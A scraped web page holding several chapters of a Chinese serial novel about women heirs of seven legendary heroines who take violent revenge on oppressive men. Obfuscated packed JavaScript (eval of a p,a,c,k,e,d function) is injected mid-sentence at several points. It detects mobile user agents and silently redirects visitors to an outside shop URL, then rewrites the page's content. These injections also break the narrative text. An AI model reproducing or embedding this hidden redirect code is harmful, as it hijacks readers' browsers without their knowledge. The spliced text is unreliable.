走出来的时候,剑上全是血。 北狄兵的尸体,躺了一地。 那些村民围着她,跪下来磕头。 她摇摇头。 “别跪。”她说,“护你们,是我该做的。” 一个老太太拉着她的手,问:“姑娘,你叫什么?” 她想了想。 “林晚霜。”她说。 老太太又问:“谁教你的?” 她沉默了一会儿。 然后说:“谢霜寒。” 老太太愣住了。 “谢霜寒?那个剑中霜?” 林晚霜点点头。 老太太的眼泪流下来。 “她是个好人,”老太太说,“她救过我们村。” 林晚霜说:“我知道。” 她转过身,往外走。 走出几步,忽然停下来。 回头,看着那些村民。 看着那些刚刚被她救下的人。 “谢前辈说过一句话,”她说,“剑下生霜,护的是她们。” 她顿了顿。 “你们,就是她们。” 然后她走了。 村民们站在原地,看着她的背影。 风吹过来,卷起地上的灰烬。 可那个背影,越走越远。 越走越坚定。 像是在说: “剑在,人在。” “人在,路在。” --- 后来,边关开始流传一个新的传说。 说有一个黑衣女子,握着一把剑,专门护那些被欺负的人。 她叫林晚霜。 她的剑,快得像霜。 她的心,热得像火。 有人说,她是剑中霜的传人。 有人说,她就是剑中霜转世。 可她自己说: “我只是拿剑的人。这把剑,是谢前辈的。这条路,也是她铺的。” “我只是,走一走。” 再后来,有人在霜冷剑阁的废墟前,看见过她。 她跪在那块碑前,跪了很久。 碑上只有两个字: “剑在。” 她跪完了,站起来。 对着那块碑,说了一句话。 “谢前辈,剑在。人在。路在。” 风吹过来,废墟上的野草沙沙响。 像是在回答。 像是在说: “好。” 33. 传承—医承 承安十五年,七月初九。 江南,扬州城。 夜色深沉,细雨如丝。 一条狭窄的巷子深处,亮着一盏昏暗的灯笼。灯笼下挂着一块牌子,上面只有两个字:“白家”。 没有“医馆”,没有“药铺”。只有这两个字。 可扬州城的人都知道,这两个字意味着什么。 意味着救命。 也意味着——要命。 白灵坐在堂屋里,对着一炉火发呆。 她今年二十一岁,生得瘦削,眉眼间带着一股冷意。可那冷意底下,藏着别的东西。 她面前摆着一本书。 《白氏医典》。 白芷留下的那本医书。 扉页上有一行字:“女子学医,自救救人。吾虽死,医道不灭。” 可白灵看的不是扉页。 她翻到某一页,看着页边的批注。 那是白芷亲手写的。 “医者,当为弱者发声——哪怕被骂‘妖女’。” 白灵看着那行字,看了很久。 然后她笑了。 笑得很冷。 “妖女?”她轻声说,“好。那我就当个妖女。” 她想起第一次见到白芷的那天。 那年她九岁。 她娘死了,她爹把她卖进妓院。 老鸨打她,骂她,让她接客。 她不从,被打得浑身是伤。 那天晚上,她趁人不备,从后窗翻出去,跑了。 跑了三条街,被人追上了。 那些人把她按在地上,正要动手,忽然有人喊了一声。 “放开她。” 那些人回头,看见一个穿素衣的女人站在巷子口。 手里提着一个药箱。 老鸨冷笑:“你是什么人?少管闲事!” 那女人说:“我是大夫。” 老鸨说:“大夫?大夫管得了这闲事?” 那女人没有回答。 只是从药箱里拿出一样东西。 是一包药粉。 她打开药包,往前一吹。 那些人吸进药粉,全都软倒在地。 老鸨吓得脸都白了。 那女人走到白灵面前,蹲下来。 “能走吗?” 白灵点点头。 那女人把她扶起来,带她走了。 后来白灵才知道,那个女人叫白芷。 是七绝中的医中圣。 白芷把她带回去,给她治伤,给她饭吃,给她地方住。 白灵问她:“你为什么要救我?” 白芷说:“因为你需要救。” 白灵又问:“你不怕惹麻烦?” 白芷笑了。 “怕麻烦,就不当大夫了。” 白灵记住了那句话。 她在白芷身边待了三年。 白芷教她认字,教她背医书,教她认药,教她配药。 也教她——用毒。 白芷说:“毒和药,本是一体。用得好,是药。用不好,是毒。可有时候,毒比药更有用。” 白灵问:“为什么?” 白芷说:“因为这世道,不讲道理。你跟它讲道理,它跟你讲拳头。这时候,你就得用毒。” 白灵点点头。 她记住了。 十二岁那年,白芷把她送到江南,托人照顾。 临走的时候,白芷给了她一本手抄的医书。 “这是我这些年记的,”白芷说,“你留着。有用。” 白灵接过医书,问:“我还能再见你吗?” 白芷沉默了一会儿。 然后说:“不知道。” 她走了。 白灵再也没有见过她。 三年后,她听说白芷死了。 死在山神庙里,救那些女学子。 白灵一个人坐了很久。 然后她翻开那本医书,开始认真读。 读那些药方,读那些毒方,读那些批注。 读到某一页,她看见了那行字。 “医者,当为弱者发声——哪怕被骂‘妖女’。” 她看着那行字,忽然笑了。 笑着笑着,眼泪流下来。 “白前辈,”她轻声说,“你教我的,我都记住了。” 从那以后,她开始行医。 可她行医的方式,和别人不一样。 她专治那些别的大夫不肯治的人。 青楼女子,乞丐,逃奴,私生子。 那些被这世道抛弃的人。 她用白芷教的医术救他们,也用白芷教的毒术护他们。 有人骂她“妖女”,说她用毒害人。 她不在乎。 可有些人,她救不了。 那些被男大夫放弃的女病人。 她们得的是“妇科病”,男大夫不肯治,说是“脏病”。 她们来找白灵,白灵治。 可有些病,她治不了。 那时候,她想起白芷教过她一样东西。 蛊。 苗疆的蛊术,白芷年轻时学过一点。 白芷说,蛊和毒,可以结合。毒杀人,蛊控人。可这东西太邪,她没怎么用过。 白灵却记住了。 她开始研究蛊术。 把毒和蛊结合起来,做成了“生死蛊”。 能救那些被放弃的人。 可那些男大夫,更恨她了。 “邪术!”他们骂,“你这是邪术!” 白灵听了,只是冷笑。 “白前辈的毒,能救人,”她说,“我的蛊,能诛心。” --- 承安十一年,七月十五。 白灵的医馆里,来了一个人。 是个年轻女子,脸色苍白,浑身是血。 她被人抬进来的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她翻开那本《白氏医典》,看着白芷的批注。 “医者,当为弱者发声——哪怕被骂‘妖女’。” 她笑了。 “白前辈,”她轻声说,“你放心。妖女也好,鬼也好,这条路,我替你走。” 她把书合上,站起来。 走到门口,看着外面的天。 天灰蒙蒙的,要下雨了。 可她不在乎。 因为她心里,有一团火。 那团火,是白芷点着的。 烧到现在。 越烧越旺。 34. 传承—重算账本 承安十五年,八月初三。 江南,苏州城。 城东有一条街,叫“钱巷”。因为这条街上,开满了钱庄、当铺、商号。每一家的掌柜,都是男人。 只有一家例外。 那家铺子在钱巷最深处,门脸不大,连块像样的招牌都没有。只是在门边挂着一块旧木板,上面刻着两个字:“苏记”。 没有人把这间铺子当回事。 可最近,钱巷里的男人们,开始害怕这两个字了。 因为“苏记”的新掌柜,是个女人。 一个不要命的女人。 她叫苏红袖。 --- 苏红袖今年二十岁。 她不知道自己爹是谁。她娘说,她爹是个赌鬼,欠了一屁股债,把她娘卖给债主抵债。 她娘被卖的时候,肚子里怀着她。 债主发现她娘怀孕,气得要打掉孩子。她娘跪在地上求他,磕得满头是血。 债主说:“行,留着也行。生下来,是丫头,就卖进窑子。是小子,就留下当奴才。” 她娘生下她,是个丫头。 可她娘没让她被卖。 那天夜里,她娘从枕头下摸出一样东西。 是一支银簪。 很旧了,簪头是一朵梅花。 她娘把那支银簪攥在手里,等债主进来的时候,一簪子刺过去。 刺中了他的眼睛。 债主惨叫一声,倒在地上。 她娘抱着她,从后窗翻出去,跑了。 那年她娘十九岁。她刚满月。 后来她娘告诉她,那支银簪,是她姥姥留给她的。 她姥姥叫苏绣。 苏绣有个姐姐,叫苏锦。 苏锦是七绝中的商中狐。 她娘说:“你姥姥死的时候,才八岁。她什么都没留下,就留下这支簪子。她姐姐苏锦,用一辈子替她讨公道。” 她问:“讨到了吗?” 她娘沉默了一会儿。 然后说:“讨到了。那些害死你姥姥的人,全都死了。” 她又问:“那苏锦呢?” 她娘说:“也死了。死之前,把这支簪子留给了我。” 她接过那支银簪,攥在手里。 攥得紧紧的。 从那以后,她就知道,这支簪子,比她的命还重要。 --- 她娘带着她,东躲西藏,过了十几年。 债主没找到她们,可日子也不好过。 她娘给人洗衣裳,缝补丁,做零活。她从小跟着娘,学会了算账,学会了看人眼色,学会了怎么把一分钱掰成两半花。 十五岁那年,她娘病了。 病得很重。 她去找大夫,大夫说,要十两银子。 她没有十两银子。 她去借。 那些钱庄的掌柜,看着她,笑得像狼。 “借可以,三分利,一个月还。” 她咬牙借了。 一个月后,她还不上。 那些人来收债,要拿她抵账。 她娘躺在病床上,忽然坐起来。 从枕头下摸出那支银簪。 “你们要拿她抵账?”她娘说,“先问问这支簪子答不答应。” 那些人笑了。 “一支破簪子,能值几个钱?” 她娘没说话。 只是攥着那支簪子,看着他们。 那些人正要动手,她娘忽然冲上去。 一簪子刺过去。 刺中了领头那个人的眼睛。 那人惨叫一声,倒下去。 其他人吓得跑了。 她娘倒在地上,喘着气。 她扑过去,抱着她娘。 “娘!娘!” 她娘看着她,笑了。 “红袖,”她娘说,“记住。这支簪子,是咱们的命。也是那些人的催命符。” 她娘死了。 那些村民知道了这件事,没有同情她,没有帮她。 他们骂她娘是“泼妇”。 “刺瞎人眼睛,活该她死。” “这种女人,死了干净。” “她女儿也不是好东西,别沾上。” 她听着那些骂声,没有说话。 只是把她娘埋了。 把那支银簪,贴身收好。 然后她开始做生意。 从小本买卖开始,一点一点攒钱。 那些钱庄的掌柜,看她一个女人做生意,都笑。 “女人?女人会做什么生意?陪酒卖笑还差不多。” 她没理他们。 只是继续做。 一年,两年,三年。 她把那间小小的“苏记”开了起来。 专门借钱给那些被钱庄拒绝的人。 女人,穷人,逃奴,私生子。 三分利?不,她只要一分利。 那些钱庄的掌柜恨她入骨。 可她不Care。 因为她手里,有一本账本。 是她娘留给她的。 她娘说,这是苏锦留下的。 真正的账本。 上面记着那些年,那些官员、那些商人、那些有钱人欠下的债。 不是钱债。 是人命债。 苏红袖翻开那本账本,看着那些名字。 一个一个看过去。 有的已经死了。有的还活着。有的还在做生意,还在放高利贷,还在逼死人。 她看着那些名字,笑了。 笑得很冷。 “苏前辈的账本,”她轻声说,“记的是姐妹的命。” 她合上账本,拿起身旁的算盘。 那算盘是特制的,比寻常的大一圈,每一颗珠子都是铁铸的,沉甸甸的。 “我的算盘,”她说,“算的是男子的债。” --- 承安十一年,八月初十。 钱巷最大的钱庄,“永利号”。 一个十四五岁的女学徒,跪在门口哭。 她被钱庄掌柜污蔑偷了银子,要送她去见官。可她根本没偷。 掌柜站在门口,冷笑:“小丫头片子,偷了东西还敢哭?来人,送她去官府!” 女学徒被人拖起来,往外走。 就在这时候,一颗铁算盘珠子飞过来。 打在掌柜脸上。 掌柜惨叫一声,捂着脸倒下去。 众人回头,看见苏红袖站在人群外面。 手里托着那把大算盘。 “苏红袖!”掌柜爬起来,指着她骂,“你干什么!” 苏红袖走过来,走到那个女学徒面前。 低头看着她。 “偷了吗?” 女学徒哭着摇头。 “没有。我没有偷。” 苏红袖点点头。 她转过身,看着那个掌柜。 “她说没偷。” 掌柜冷笑:“她的话能信?一个贱丫头,偷东西不是很正常?” 苏红袖笑了。 笑得很冷。 她从怀里摸出一个账本,翻开。 “张永利,永利号掌柜。承安八年,逼死王老五的闺女,因为人家还不上钱。承安九年,把李寡妇家的田产霸占,人家告到官府,你用银子摆平。承安十年——” 掌柜的脸色变了。 “你……你胡说!” 苏红袖没有理他。 继续念。 “承安十年,你那个小老婆,是你从人牙子手里买来的,当时她才十二岁。她上个月死了,怎么死的,你知道吗?” 掌柜的脸白了。 苏红袖合上账本,看着他。 “你问我的话能不能信?我告诉你,她的话,比你干净一万倍。” 周围的人都看着他们。 有人开始窃窃私语。 掌柜的脸红一阵白一阵,忽然冲上来,要抢那本账本。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没说话。 男商人以为她怕了,更得意了。 “怎么?我说得不对?你们女人,不就是靠这个吃饭的吗?” 苏红袖站起来。 走到旁边的柜子前。 拿出一坛酒。 打开。 酒香飘出来,满屋子都是。 男商人愣住了。 苏红袖端起那坛酒,喝了一大口。 然后把酒坛往地上一摔。 “砰——” 酒坛碎了,酒溅了一地。 男商人的脸白了。 苏红袖看着他,一字一字说: “苏前辈的酒,能醉倒奸臣。” 她从腰间拔出一把短刀。 “我的刀,能砍断你们的算计。” 男商人吓得站起来,夺门而逃。 苏红袖站在屋里,看着他的背影。 笑了。 笑得很冷。 笑得很畅快。 “陪酒卖笑?”她轻声说,“下辈子吧。” 她把刀收起来,走回柜台前。 坐下。 翻开那本账本。 继续算账。 算那些男子欠下的债。 一笔一笔,慢慢算。 算到他们死。 35. 传承—绣针不断 承安十五年,九月初九。 京城,甜水巷。 云娘的绣坊还在。 可已经不是当年的模样了。 门脸重新修过,挂着一块新匾,上面绣着两个字:“云绣”。 绣坊里,坐着一个年轻的盲女。 她叫云绣。 今年十八岁。 她是云娘收养的最后一个弟子。 --- 云绣不知道自己的爹娘是谁。 她只知道,自己生下来就是瞎子。 三岁那年,被人扔在甜水巷口,正好扔在云娘绣坊门口。 云娘出来倒水,踢到了她。 云娘蹲下来,摸到她。 “谁家的孩子?” 没有人回答。 云娘把她抱进去。 阿桑在旁边问:“云娘,这孩子怎么办?” 云娘说:“留着。” 阿桑说:“她是个瞎子。” 云娘笑了。 “我也是瞎子。” 从那以后,云绣就跟着云娘。 云娘教她认字,教她绣花,教她做人。 云绣看不见,可她用手摸。 摸那些布料,摸那些绣线,摸那些绣好的花样。 云娘说:“绣花,靠的不是眼睛,是心。” 云绣记住了。 云娘还给她讲那些人的故事。 谢知微,沈醉,谢霜寒,白芷,苏锦,花解语。 还有她自己。 云娘说,她们七个,用命换了一条路。 云绣问:“什么路?” 云娘说:“女子科举的路。” 云绣又问:“那条路,还在吗?” 云娘沉默了一会儿。 然后说:“在。只要有人走,就在。” 云绣记住了。 她十岁那年,云娘死了。 死在她怀里。 死之前,云娘拉着她的手,说了很多话。 云娘说,那幅“女子科举路”挂在国子监里,让她有空去看看。 云娘说,阿桑会照顾她,让她别怕。 云娘说,她这辈子,值了。 最后,云娘从怀里摸出一块布,塞给她。 “这是……我最先绣的那方帕子……”云娘的声音越来越轻,“上面有四个字……女子科举……” 云绣摸着那块布。 布很旧了,边角都磨破了。 可那四个字,还在。 她摸着那四个字,摸到了一些不一样的地方。 有些地方,是凸起的。 硬硬的。 她问:“云娘,这是什么?” 云娘笑了。 “血。”她说,“我的血。” 云绣愣住了。 云娘说:“那一年,我绣这四个字,被人挖了眼睛。血滴在上面,一直没洗掉。” 云绣的手在发抖。 云娘说:“留着。替我留着。” 然后她的手,垂了下去。 云绣抱着那块布,没有哭。 只是把那块布,贴身收好。 一直收着。 收了八年。 --- 八年里,云绣跟着阿桑学绣花。 阿桑把云娘教她的,全都教给云绣。 云绣学得很快。 因为她用心。 不是用眼睛。 她绣出来的东西,阿桑看了都惊叹。 “云绣,你比云娘绣得还好。” 云绣摇摇头。 “不好。我只是在学。” 阿桑问:“那你什么时候才能绣出自己的东西?” 云绣想了想。 “等我找到想绣的东西。” 她找了八年。 终于找到了。 那天,她去国子监看那幅“女子科举路”。 阿桑扶着她,一步一步走进去。 她站在那幅绣品前,伸出手,摸着那些梅花。 一朵一朵摸过去。 摸到那些名字。 谢知微。沈醉。谢霜寒。白芷。苏锦。花解语。云娘。 还有阿桑。 还有无数小字,是那些死在路上的姑娘。 她摸着摸着,忽然停下来。 她摸到了一朵梅花。 那朵梅花,和别的不一样。 花瓣上,有字。 很小很小的字。 她凑近了摸。 一个字一个字摸出来。 “针下生花,也能生路。” 是云娘的字。 云绣的眼泪流下来。 “云娘,”她轻声说,“我找到了。” 找到想绣的东西了。 --- 那天晚上,云绣一个人坐在绣坊里。 面前铺着一块白布。 她从怀里摸出云娘留下的那方帕子。 摸着那四个字。 女子科举。 摸着那些血迹。 那些血,是云娘的。 她摸着那些血,忽然想起云娘说过的话。 “针下生花,也能生路。” 她拿起针。 刺破自己的手指。 血滴下来。 滴在白布上。 她没有擦。 就用那根沾着血的针,开始绣。 绣什么? 绣她今天在国子监看见的东西。 那些女官。 那些穿着官服的女子。 那些正在断案的女官。 她今天去国子监的路上,听见有人在议论。 说刑部新来了一个女官,姓周,叫周晚。她断了一个案子,是一个男人打死自己的老婆,想用钱摆平。周晚没让,判了他斩立决。 那些男人骂她,说女人断案,天理不容。 可那些女人,都在偷偷地笑。 云绣听见那些笑声,忽然明白了。 云娘她们铺的那条路,已经有人走在上面了。 那些女官,就是走在路上的人。 她要把她们绣下来。 用血绣。 一针,是周晚。 一针,是那个被打死的女人。 一针,是那些还在受苦的姐妹。 一针,是那些走在路上的女官。 她绣了三天三夜。 绣完的时候,那块白布已经变成了红色。 血红色。 可那些人物,活灵活现。 周晚站在公堂上,手里拿着惊堂木。 那个死去的女人,躺在她脚下。 那些男人,跪在地上,瑟瑟发抖。 云绣摸着那些绣纹,笑了。 “云娘,”她轻声说,“你绣的是路。我绣的是人。” 她把那幅绣品收好。 第二天,拿去给阿桑看。 阿桑摸着那幅绣品,摸了很久。 然后她问:“这是什么?” 云绣说:“血绣图。” 阿桑问:“为什么用血?” 云绣说:“因为这条路,是用血铺的。” 阿桑沉默了。 然后她说:“云绣,你比云娘还狠。” 云绣笑了。 “不是狠。是记住了。” --- 那幅“血绣图”很快传了出去。 传到了那些男官员耳朵里。 他们怒了。 “女人断案?还绣成图?这是要造反!” 有人带着人,冲到绣坊来。 把那张图撕了。 撕成碎片。 云绣站在那里,听着那些撕布的声音。 没有动。 没有喊。 只是听着。 等他们撕完了,她才开口。 “撕完了?” 为首的那个官员冷笑:“撕完了。怎么着?” 云绣笑了。 笑得很轻。 “撕得掉布,”她说,“撕得掉女子为官的决心吗?” 那个官员愣住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334440|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 云绣说:“这张图,我绣了三天。可那些女官,她们在刑部、在户部、在礼部,一天一天地断案。你撕得掉我的图,撕得掉她们的案子吗?” 那个官员的脸白了。 云绣继续说:“云前辈说过,针下生花,也能生路。我绣的这张图,就是那条路。你撕得掉一张,我绣得出一百张。” 她伸出手。 “你撕吧。撕完了,我再绣。” 那个官员看着她。 看着那双看不见的眼睛。 忽然觉得害怕。 他转身就走。 那些人也跟着跑了。 阿桑走过来,扶住云绣。 “云绣,你没事吧?” 云绣摇摇头。 “没事。” 阿桑看着地上那些碎片,心疼得不行。 “那张图,你绣了三天……” 云绣笑了。 “图没了,可那些人记住了。” 她顿了顿。 “记住就好。” --- 那天晚上,云绣又开始绣。 重新绣那幅“血绣图”。 一针一针,慢慢绣。 绣着绣着,她忽然停下来。 从怀里摸出云娘那方帕子。 摸着那四个字。 摸着那些血迹。 “云娘,”她轻声说,“你绣的是路。我绣的是人。咱们合起来,就是那条路。” 她把那方帕子贴在胸口。 继续绣。 绣到天亮。 绣完的时候,天边烧起一片红霞。 红得像血。 红得像那些年,她们流的血。 也红得像那朵梅花。 开在冬天的梅花。 最冷的时候,开得最好。 云绣摸着那幅新绣的“血绣图”,笑了。 “都在。”她轻声说,“都还在。” --- 一个月后。 那幅“血绣图”被挂在国子监里。 挂在云娘那幅“女子科举路”旁边。 每天都有无数学子来看。 看那些女官,看那些断案的场景,看那些跪着的男人。 有人问:“这谁绣的?” 有人回答:“云绣。云娘的弟子。” “她是个瞎子?” “是。可她绣得比明眼人还好。” 沉默。 然后有人伸出手,轻轻摸了摸那幅绣品。 摸着那些血红的丝线。 摸着那些活灵活现的人物。 摸着那行绣在角落里的小字。 “针下生花,也能生路——云娘。” 旁边,还有一行更小的字。 “血绣成图,铭记于心——云绣。” 风吹进来,两幅绣品轻轻晃动。 像是在说话。 像是在说: “都在。都还在。” --- 后来,有人问云绣:“你一辈子看不见,后悔吗?” 云绣笑了。 “后悔什么?我看得见。” 那人问:“你看得见什么?” 云绣指着自己的心口。 “这里。看得见她们。” 她又指着那幅绣品。 “这里。也看得见。” 那人不懂。 云绣说:“云娘说过,绣花,靠的不是眼睛,是心。” 她顿了顿。 “我用心绣。用心看。看得比你们还清楚。” 那人沉默了。 云绣站起来,走到门口。 外面,阳光正好。 照在她脸上,暖洋洋的。 她抬起头,对着那太阳。 虽然看不见,可她觉得,今天的天,特别亮。 亮得像云娘的眼睛。 亮得像那些梅花。 亮得像那条路。 她笑了。 “都在。”她轻声说,“都还在。” 36. 传承—琴音再响 承安十五年,十月初十。 京城,教坊司。 夜深了,丝竹声早已停歇。可最深处的那间屋子里,还有琴音。 很轻的琴音。 若有若无。 像是怕惊动什么。 花解忧坐在窗前,面前摆着一架古琴。 那琴很旧了,琴身上有一道细细的裂痕。那是她姑姑花解语留下的遗物。 她轻轻拨着琴弦,拨得很慢。 每拨一声,就停下来听一听。 听那余音散尽。 听那夜色无声。 听那些藏在暗处的动静。 她今年十九岁。 三岁被卖进教坊司,十六年没离开过。 可她不恨。 因为姑姑说过,琴声能杀人,也能救人。 她要学的,就是杀人。 --- 花解忧第一次见到花解语,是五岁那年。 那天,教坊司的嬷嬷把她带到一间屋子里,说:“这是你姑姑。以后你跟她学琴。” 她看着那个女人。 那个女人也看着她。 女人很瘦,脸色苍白,可眼睛很亮。 亮得像刀子。 女人问:“你叫什么?” 她说:“没名字。嬷嬷叫我小丫头。” 女人沉默了一会儿。 然后说:“那就叫解忧吧。” 她问:“解忧?什么意思?” 女人说:“解忧,解忧,解开忧愁。” 她又问:“那我姑姑叫什么?” 女人说:“解语。解语花。” 她笑了。 “姑姑的名字比我好听。” 女人也笑了。 那是她第一次见花解语笑。 后来她才知道,那个笑,很珍贵。 因为花解语很少笑。 她总是坐在窗前,对着那架琴,一坐就是一天。 有时候弹,有时候不弹。 弹的时候,曲子里藏着密语。 不弹的时候,她在等人。 等谁? 花解忧不知道。 她只知道,有一天,花解语等到了。 那天晚上,花解语把她叫到跟前。 “解忧,”花解语说,“我要走了。” 她愣住了。 “去哪儿?” 花解语说:“去该去的地方。” 她问:“什么时候回来?” 花解语沉默了一会儿。 然后说:“不回来了。” 她的眼泪掉下来。 花解语伸出手,摸了摸她的头。 “别哭。琴留给你。琴谱也留给你。” 她哭着问:“那我怎么办?” 花解语说:“活着。活着,弹琴。弹到有人听。” 然后花解语走了。 再也没有回来。 后来她听说,花解语死在了刑场上。 死之前,还在弹琴。 弹《广陵散》。 弹到最后一根弦断。 她抱着那架琴,哭了三天三夜。 第四天,她翻开琴谱。 琴谱很旧了,页边都卷起来。 她翻着翻着,忽然看见一行小字。 是花解语写的。 “山河无男儿,女子亦可撑。” 她看着那行字,看了很久。 然后她笑了。 笑着笑着,眼泪又流下来。 “姑姑,”她轻声说,“我记住了。” --- 从那以后,她开始认真学琴。 学《广陵散》。 学那些藏在曲子里的话。 学那些能用琴弦杀人的方法。 花解语教过她一点。 她说,琴弦勒人,要快,要准,要狠。 她说,琴音也能杀人。弹得人心里发慌,手就软了。手软了,刀就拿不稳了。 她说,最重要的,是让人以为你只是个弹琴的。 “扮猪吃老虎,”花解语说,“最管用。” 她记住了。 十六岁那年,她第一次杀人。 杀的是一个北狄将军。 那将军来教坊司喝酒,点了她陪酒。 她去了。 抱着琴。 那将军喝多了,开始动手动脚。 她没躲。 只是笑。 “将军,”她说,“我给您弹个曲子吧。” 将军说:“弹什么?” 她说:“《广陵散》。” 将军说:“弹。” 她开始弹。 弹得很慢,很轻。 将军听着听着,开始打瞌睡。 就在他闭上眼睛的那一瞬间,琴弦断了。 不是自己断的。 是她用指甲划断的。 断了的琴弦,像一条蛇,缠上了将军的脖子。 她用力一拉。 将军的眼睛瞪大,手乱抓,脚乱蹬。 可没用了。 琴弦勒进肉里。 血渗出来。 滴在她的琴上。 滴在那道裂痕上。 和姑姑的血混在一起。 将军死了。 她松开手,看着那张脸。 那张刚才还在笑的脸,现在扭曲得像鬼。 她笑了。 “花前辈的琴,能传密语,”她轻声说,“我的琴,能取命。” 外面的人听见动静,冲进来。 看见将军的尸体,看见她手里的琴,看见她脸上的笑。 “妖女!”他们喊,“她是妖女!” 她被关进大牢。 关了三个月。 三个月后,有人把她救出来。 是那些女学子。 她们说,你是花解语的侄女?跟我们走。 她跟着她们走了。 走之前,她回头看了一眼那间牢房。 笑了。 “妖女?”她说,“好。那就妖女吧。” --- 承安十一年,十月十五。 京城,教坊司。 今天是新任乐师选拔的日子。 来应试的有十几个人,都是男的。 只有花解忧一个女子。 她抱着琴,站在角落里,一言不发。 那些男乐师看着她,窃窃私语。 “女的也来考乐师?” “听说是个妖女,杀过人。” “杀过人还敢来?” “怕什么?一个女人,能翻得了天?” 花解忧听着那些话,没理他们。 只是低头看着自己的琴。 看着那道裂痕。 看着姑姑的血。 考官来了。 是个胖胖的中年男人,穿着官服,挺着肚子。 他看了花解忧一眼,皱起眉头。 “女的?” 花解忧说:“是。” 考官说:“女的来考什么乐师?教坊司的乐师,都是男的。” 花解忧说:“花解语也是女的。” 考官愣住了。 花解语的名字,他当然知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334441|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 那个女人,死了十年,可她的琴,还在传。 考官沉默了一会儿。 然后说:“行。你弹。弹完了,走人。” 花解忧点点头。 她走到台子中央,坐下。 把琴放在膝上。 开始弹。 《广陵散》。 弹得很慢,很轻。 那些藏在曲子里的话,一个一个流出来。 流给谁听? 流给那些女学子听。 她们坐在角落里,假装是来听曲的。 可花解忧知道,她们在听。 听那些密语。 听那些藏在琴音里的消息。 听那些—— 杀人的指令。 一曲弹完。 考官站起来,刚要说话。 忽然,一个男乐师冲上台。 “妖女!”他喊,“你用琴杀人!我亲眼见过!” 花解忧看着他。 那个人,她认识。 是当年告发她杀人的乐师之一。 她笑了。 “你见过?”她说,“那你再仔细看看。” 她伸手,拨了一下琴弦。 琴弦断了。 飞出去。 刺进那个男乐师的喉咙。 他瞪大眼睛,捂着喉咙,倒下去。 血溅了一地。 全场大乱。 那些男乐师吓得往后退,那些女学子站起来,那些考官躲在桌子底下。 只有花解忧坐在那里,一动不动。 看着那具尸体。 看着那些血。 看着那道断了的琴弦。 她笑了。 笑得很冷。 “花前辈的琴,能传密语,”她说,“我的琴,能取命。” 她站起来,抱起琴。 走到门口,忽然停下来。 回头,看着那些瑟瑟发抖的人。 “还有谁想试试?” 没有人动。 没有人敢动。 她走了。 走出教坊司,走进夜色里。 身后,是那些人的议论。 “妖女!真是妖女!” “杀了人还能笑,不是妖女是什么?” 她听着那些话,笑了。 妖女就妖女吧。 姑姑被骂了一辈子妖女。 她怕什么? --- 那天晚上,花解忧坐在城外的一座破庙里。 面前摆着那架琴。 她看着那道裂痕,看着那些血。 忽然想起花解语说过的话。 “解忧,解忧,解开忧愁。” 她笑了。 “姑姑,”她轻声说,“我的忧愁,解不开了。可那些人的命,我能取。” 她伸出手,摸着那道裂痕。 摸着那些血。 摸着姑姑的血,和她自己的血。 混在一起。 分不清了。 “也好,”她说,“咱们的血,在一起了。” 她抱起琴,站起来。 走到庙门口。 外面,月光很好。 照在她身上,照在琴上。 照在那道裂痕上。 亮得像刀。 她笑了。 “都在。”她轻声说,“都还在。” 然后她走进月光里。 走进夜色里。 走进那条路里。 那条姑姑铺过的路。 那条她也要走下去的路。 37. 传承—醉生不妄 承安十五年,十一月初七。 青石镇。 风月楼的废墟还在。 一百年过去了,那些烧焦的木梁早就烂成了土,可那块刻着八个字的石板,还在。 “女子不死,世道不灭。” 字迹已经模糊了,可还是能看清。 每年都有人来描。 描完了,磕个头,就走了。 今年来描字的人,是个年轻的女子。 她穿着一身破旧的衣裳,头发乱糟糟的,脸上有伤。可她的眼睛很亮,亮得像火。 她蹲在石板前,用手指蘸着墨,一笔一划地描那些字。 描完了,她站起来,看着那块石板。 看了很久。 然后她从怀里摸出一样东西。 是一只酒壶。 很旧的酒壶,壶身上刻着一朵梅花。 壶底,刻着三个字。 “沈醉生。” 她叫沈醉生。 今年十九岁。 --- 沈醉生不知道自己的爹是谁。她娘说,她爹是个酒鬼,喝醉了就打人。她娘受不了,抱着她跑了。 跑到青石镇,躲在一间破屋里。 她娘给人洗衣裳,缝补丁,做零活。她从小跟着娘,学会了吃苦,学会了挨饿,学会了怎么在拳头底下活下来。 可拳头底下,活不长久。 她十岁那年,她娘病了。 病得很重。 她去找大夫,大夫说,要五两银子。 她没有五两银子。 她去借。 赌场的老板借给她,三分利。 一个月后,她还不上。 那些人冲进来,把她娘从床上拖下来,把屋子翻了个底朝天。 她跪在地上求他们,他们踢她。 她娘躺在床上,看着她被人踢,忽然坐起来。 从枕头下摸出一只酒壶。 